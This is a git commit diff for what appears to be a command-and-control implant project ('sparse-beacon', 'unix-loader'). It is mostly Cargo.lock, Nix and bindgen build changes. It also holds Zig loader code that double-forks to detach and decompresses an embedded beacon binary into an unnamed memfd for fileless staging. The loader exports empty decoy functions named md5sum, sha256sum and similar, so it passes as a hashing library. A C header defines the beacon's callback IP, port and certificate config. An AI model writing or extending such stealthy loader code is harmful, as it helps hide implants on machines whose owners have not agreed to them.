feat: added header file for communicating config
This commit is contained in:
parent
78ac60ce60
commit
cd56d57cb3
143
Cargo.lock
generated
143
Cargo.lock
generated
@ -179,6 +179,29 @@ version = "0.22.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bindgen"
|
||||||
|
version = "0.69.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags",
|
||||||
|
"cexpr",
|
||||||
|
"clang-sys",
|
||||||
|
"itertools 0.12.1",
|
||||||
|
"lazy_static",
|
||||||
|
"lazycell",
|
||||||
|
"log",
|
||||||
|
"prettyplease",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"regex",
|
||||||
|
"rustc-hash 1.1.0",
|
||||||
|
"shlex",
|
||||||
|
"syn",
|
||||||
|
"which",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bitflags"
|
name = "bitflags"
|
||||||
version = "2.8.0"
|
version = "2.8.0"
|
||||||
@ -218,12 +241,32 @@ dependencies = [
|
|||||||
"shlex",
|
"shlex",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cexpr"
|
||||||
|
version = "0.6.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
|
||||||
|
dependencies = [
|
||||||
|
"nom",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cfg-if"
|
name = "cfg-if"
|
||||||
version = "1.0.0"
|
version = "1.0.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clang-sys"
|
||||||
|
version = "1.8.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4"
|
||||||
|
dependencies = [
|
||||||
|
"glob",
|
||||||
|
"libc",
|
||||||
|
"libloading",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "codee"
|
name = "codee"
|
||||||
version = "0.2.0"
|
version = "0.2.0"
|
||||||
@ -539,6 +582,12 @@ version = "0.31.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f"
|
checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "glob"
|
||||||
|
version = "0.3.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "gloo-net"
|
name = "gloo-net"
|
||||||
version = "0.6.0"
|
version = "0.6.0"
|
||||||
@ -597,6 +646,15 @@ version = "0.3.9"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
|
checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "home"
|
||||||
|
version = "0.5.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys 0.59.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "html-escape"
|
name = "html-escape"
|
||||||
version = "0.2.13"
|
version = "0.2.13"
|
||||||
@ -873,6 +931,15 @@ dependencies = [
|
|||||||
"rustversion",
|
"rustversion",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "itertools"
|
||||||
|
version = "0.12.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569"
|
||||||
|
dependencies = [
|
||||||
|
"either",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "itertools"
|
name = "itertools"
|
||||||
version = "0.13.0"
|
version = "0.13.0"
|
||||||
@ -897,6 +964,18 @@ dependencies = [
|
|||||||
"wasm-bindgen",
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lazy_static"
|
||||||
|
version = "1.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lazycell"
|
||||||
|
version = "1.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "leptos"
|
name = "leptos"
|
||||||
version = "0.7.0"
|
version = "0.7.0"
|
||||||
@ -919,7 +998,7 @@ dependencies = [
|
|||||||
"paste",
|
"paste",
|
||||||
"rand",
|
"rand",
|
||||||
"reactive_graph",
|
"reactive_graph",
|
||||||
"rustc-hash",
|
"rustc-hash 2.1.0",
|
||||||
"send_wrapper",
|
"send_wrapper",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_qs",
|
"serde_qs",
|
||||||
@ -1029,7 +1108,7 @@ dependencies = [
|
|||||||
"cfg-if",
|
"cfg-if",
|
||||||
"convert_case",
|
"convert_case",
|
||||||
"html-escape",
|
"html-escape",
|
||||||
"itertools",
|
"itertools 0.13.0",
|
||||||
"leptos_hot_reload",
|
"leptos_hot_reload",
|
||||||
"prettyplease",
|
"prettyplease",
|
||||||
"proc-macro-error2",
|
"proc-macro-error2",
|
||||||
@ -1119,12 +1198,28 @@ version = "0.2.169"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a"
|
checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libloading"
|
||||||
|
version = "0.8.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "linear-map"
|
name = "linear-map"
|
||||||
version = "1.2.0"
|
version = "1.2.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "bfae20f6b19ad527b550c223fddc3077a547fc70cda94b9b566575423fd303ee"
|
checksum = "bfae20f6b19ad527b550c223fddc3077a547fc70cda94b9b566575423fd303ee"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "linux-raw-sys"
|
||||||
|
version = "0.4.15"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "litemap"
|
name = "litemap"
|
||||||
version = "0.7.4"
|
version = "0.7.4"
|
||||||
@ -1572,7 +1667,7 @@ dependencies = [
|
|||||||
"hydration_context",
|
"hydration_context",
|
||||||
"or_poisoned",
|
"or_poisoned",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
"rustc-hash",
|
"rustc-hash 2.1.0",
|
||||||
"send_wrapper",
|
"send_wrapper",
|
||||||
"serde",
|
"serde",
|
||||||
"slotmap",
|
"slotmap",
|
||||||
@ -1587,12 +1682,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "80bb1913eeb71f74028213455ee971550c2b3cb91b6acd5efa8a0f8dc59f5039"
|
checksum = "80bb1913eeb71f74028213455ee971550c2b3cb91b6acd5efa8a0f8dc59f5039"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"guardian",
|
"guardian",
|
||||||
"itertools",
|
"itertools 0.13.0",
|
||||||
"or_poisoned",
|
"or_poisoned",
|
||||||
"paste",
|
"paste",
|
||||||
"reactive_graph",
|
"reactive_graph",
|
||||||
"reactive_stores_macro",
|
"reactive_stores_macro",
|
||||||
"rustc-hash",
|
"rustc-hash 2.1.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -1667,12 +1762,31 @@ version = "0.1.24"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
|
checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustc-hash"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rustc-hash"
|
name = "rustc-hash"
|
||||||
version = "2.1.0"
|
version = "2.1.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "c7fb8039b3032c191086b10f11f319a6e99e1e82889c5cc6046f515c9db1d497"
|
checksum = "c7fb8039b3032c191086b10f11f319a6e99e1e82889c5cc6046f515c9db1d497"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustix"
|
||||||
|
version = "0.38.43"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a78891ee6bf2340288408954ac787aa063d8e8817e9f53abb37c695c6d834ef6"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags",
|
||||||
|
"errno",
|
||||||
|
"libc",
|
||||||
|
"linux-raw-sys",
|
||||||
|
"windows-sys 0.59.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rustversion"
|
name = "rustversion"
|
||||||
version = "1.0.19"
|
version = "1.0.19"
|
||||||
@ -1886,6 +2000,9 @@ dependencies = [
|
|||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-actions"
|
name = "sparse-actions"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
|
dependencies = [
|
||||||
|
"bindgen",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-beacon"
|
name = "sparse-beacon"
|
||||||
@ -1989,7 +2106,7 @@ dependencies = [
|
|||||||
"futures",
|
"futures",
|
||||||
"html-escape",
|
"html-escape",
|
||||||
"indexmap",
|
"indexmap",
|
||||||
"itertools",
|
"itertools 0.13.0",
|
||||||
"js-sys",
|
"js-sys",
|
||||||
"linear-map",
|
"linear-map",
|
||||||
"next_tuple",
|
"next_tuple",
|
||||||
@ -2000,7 +2117,7 @@ dependencies = [
|
|||||||
"paste",
|
"paste",
|
||||||
"reactive_graph",
|
"reactive_graph",
|
||||||
"reactive_stores",
|
"reactive_stores",
|
||||||
"rustc-hash",
|
"rustc-hash 2.1.0",
|
||||||
"send_wrapper",
|
"send_wrapper",
|
||||||
"slotmap",
|
"slotmap",
|
||||||
"throw_error",
|
"throw_error",
|
||||||
@ -2455,6 +2572,18 @@ dependencies = [
|
|||||||
"wasm-bindgen",
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "which"
|
||||||
|
version = "4.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7"
|
||||||
|
dependencies = [
|
||||||
|
"either",
|
||||||
|
"home",
|
||||||
|
"once_cell",
|
||||||
|
"rustix",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "winapi-util"
|
name = "winapi-util"
|
||||||
version = "0.1.9"
|
version = "0.1.9"
|
||||||
|
|||||||
@ -61,6 +61,7 @@
|
|||||||
zig
|
zig
|
||||||
clang
|
clang
|
||||||
glibc
|
glibc
|
||||||
|
libclang
|
||||||
|
|
||||||
# Tools for cross compilation
|
# Tools for cross compilation
|
||||||
pkgsCross.x86_64-freebsd.buildPackages.clang
|
pkgsCross.x86_64-freebsd.buildPackages.clang
|
||||||
@ -103,6 +104,8 @@
|
|||||||
SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd;
|
SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd;
|
||||||
SPARSE_BUILD_LIBNL = libnl;
|
SPARSE_BUILD_LIBNL = libnl;
|
||||||
|
|
||||||
|
LIBCLANG_PATH = "${pkgs.libclang.lib}/lib";
|
||||||
|
|
||||||
FREEBSD_LIBS = freebsd-libs;
|
FREEBSD_LIBS = freebsd-libs;
|
||||||
GLIBC_LIBS = pkgs.glibc;
|
GLIBC_LIBS = pkgs.glibc;
|
||||||
GLIBC_LIBS_STATIC = pkgs.glibc.static;
|
GLIBC_LIBS_STATIC = pkgs.glibc.static;
|
||||||
|
|||||||
@ -45,6 +45,7 @@ let
|
|||||||
./Cargo.toml
|
./Cargo.toml
|
||||||
./Cargo.lock
|
./Cargo.lock
|
||||||
./build_common.rs
|
./build_common.rs
|
||||||
|
./unix-loader/src/abi.h
|
||||||
(craneLib.fileset.commonCargoSources ./sparse-actions)
|
(craneLib.fileset.commonCargoSources ./sparse-actions)
|
||||||
(craneLib.fileset.commonCargoSources ./pcap-sys)
|
(craneLib.fileset.commonCargoSources ./pcap-sys)
|
||||||
(craneLib.fileset.commonCargoSources ./nl-sys)
|
(craneLib.fileset.commonCargoSources ./nl-sys)
|
||||||
@ -63,6 +64,7 @@ let
|
|||||||
./Cargo.toml
|
./Cargo.toml
|
||||||
./Cargo.lock
|
./Cargo.lock
|
||||||
./build_common.rs
|
./build_common.rs
|
||||||
|
./unix-loader/src/abi.h
|
||||||
(craneLib.fileset.commonCargoSources ./sparse-actions)
|
(craneLib.fileset.commonCargoSources ./sparse-actions)
|
||||||
(craneLib.fileset.commonCargoSources ./pcap-sys)
|
(craneLib.fileset.commonCargoSources ./pcap-sys)
|
||||||
(craneLib.fileset.commonCargoSources ./nl-sys)
|
(craneLib.fileset.commonCargoSources ./nl-sys)
|
||||||
@ -79,11 +81,12 @@ let
|
|||||||
./Cargo.toml
|
./Cargo.toml
|
||||||
./Cargo.lock
|
./Cargo.lock
|
||||||
./build_common.rs
|
./build_common.rs
|
||||||
|
./unix-loader/src/abi.h
|
||||||
|
(craneLib.fileset.commonCargoSources ./sparse-actions)
|
||||||
(craneLib.fileset.commonCargoSources ./pcap-sys)
|
(craneLib.fileset.commonCargoSources ./pcap-sys)
|
||||||
(craneLib.fileset.commonCargoSources ./nl-sys)
|
(craneLib.fileset.commonCargoSources ./nl-sys)
|
||||||
./nl-sys/src/bridge.c
|
./nl-sys/src/bridge.c
|
||||||
(craneLib.fileset.commonCargoSources ./packets)
|
(craneLib.fileset.commonCargoSources ./packets)
|
||||||
(craneLib.fileset.commonCargoSources ./sparse-actions)
|
|
||||||
(craneLib.fileset.commonCargoSources ./sparse-server)
|
(craneLib.fileset.commonCargoSources ./sparse-server)
|
||||||
./sparse-server/style
|
./sparse-server/style
|
||||||
./sparse-server/public
|
./sparse-server/public
|
||||||
|
|||||||
@ -4,3 +4,6 @@ edition = "2021"
|
|||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
|
||||||
|
[build-dependencies]
|
||||||
|
bindgen = "0.69"
|
||||||
|
|||||||
15
sparse-actions/build.rs
Normal file
15
sparse-actions/build.rs
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
use std::{env, path::Path};
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
let out_dir = env::var_os("OUT_DIR").unwrap();
|
||||||
|
|
||||||
|
let dest_bindings = Path::new(&out_dir).join("bindings.rs");
|
||||||
|
|
||||||
|
bindgen::Builder::default()
|
||||||
|
.header("../unix-loader/src/abi.h")
|
||||||
|
.parse_callbacks(Box::new(bindgen::CargoCallbacks::new()))
|
||||||
|
.generate()
|
||||||
|
.expect("unable to generate bindings")
|
||||||
|
.write_to_file(dest_bindings)
|
||||||
|
.expect("could not write bidnings");
|
||||||
|
}
|
||||||
@ -1,14 +1,5 @@
|
|||||||
pub fn add(left: u64, right: u64) -> u64 {
|
#[allow(dead_code)]
|
||||||
left + right
|
#[allow(non_camel_case_types)]
|
||||||
}
|
pub mod payload_types {
|
||||||
|
include!(concat!(std::env!("OUT_DIR"), "/bindings.rs"));
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn it_works() {
|
|
||||||
let result = add(2, 2);
|
|
||||||
assert_eq!(result, 4);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
10
unix-loader/src/abi.h
Normal file
10
unix-loader/src/abi.h
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
typedef struct Parameters {
|
||||||
|
int destination_ip;
|
||||||
|
int source_ip;
|
||||||
|
short destination_port;
|
||||||
|
short pubkey_cert_size;
|
||||||
|
short privkey_size;
|
||||||
|
short privkey_cert_size;
|
||||||
|
char pubkey_cert[1024];
|
||||||
|
char identifier[64];
|
||||||
|
} Parameters_t;
|
||||||
@ -2,8 +2,31 @@ const std = @import("std");
|
|||||||
|
|
||||||
const beacon = @embedFile("beacon");
|
const beacon = @embedFile("beacon");
|
||||||
|
|
||||||
|
const Parameters = @cImport({
|
||||||
|
@cInclude("abi.h");
|
||||||
|
}).Parameters_t;
|
||||||
|
|
||||||
fn use_beacon(message: []const u8) !void {
|
fn use_beacon(message: []const u8) !void {
|
||||||
_ = try std.io.getStdOut().write(message);
|
const pid = std.c.fork();
|
||||||
|
if (pid == 0) {
|
||||||
|
if (std.c.fork() == 0) {
|
||||||
|
const target_fd = try std.posix.memfd_create("", 0);
|
||||||
|
var reader = std.io.fixedBufferStream(message);
|
||||||
|
|
||||||
|
var target_file = std.fs.File{ .handle = target_fd };
|
||||||
|
|
||||||
|
try std.compress.gzip.decompress(reader.reader(), target_file.writer());
|
||||||
|
|
||||||
|
while (true) {}
|
||||||
|
|
||||||
|
std.c.exit(0);
|
||||||
|
}
|
||||||
|
std.c.exit(0);
|
||||||
|
} else {
|
||||||
|
var status: c_int = 0;
|
||||||
|
_ = std.c.waitpid(pid, &status, 0);
|
||||||
|
_ = std.c.kill(pid, std.c.SIG.KILL);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
export fn hash_internals() void {
|
export fn hash_internals() void {
|
||||||
|
|||||||
@ -1,5 +1,16 @@
|
|||||||
extern fn hash_internals() void;
|
extern fn hash_internals() void;
|
||||||
|
|
||||||
|
const Parameters = @cImport({
|
||||||
|
@cInclude("abi.h");
|
||||||
|
}).Parameters_t;
|
||||||
|
|
||||||
export fn calculate_hash() void {
|
export fn calculate_hash() void {
|
||||||
hash_internals();
|
hash_internals();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export fn md5sum() void {}
|
||||||
|
export fn sha256sum() void {}
|
||||||
|
export fn sha384sum() void {}
|
||||||
|
export fn sha512sum() void {}
|
||||||
|
export fn sha1sum() void {}
|
||||||
|
export fn sha2sum() void {}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user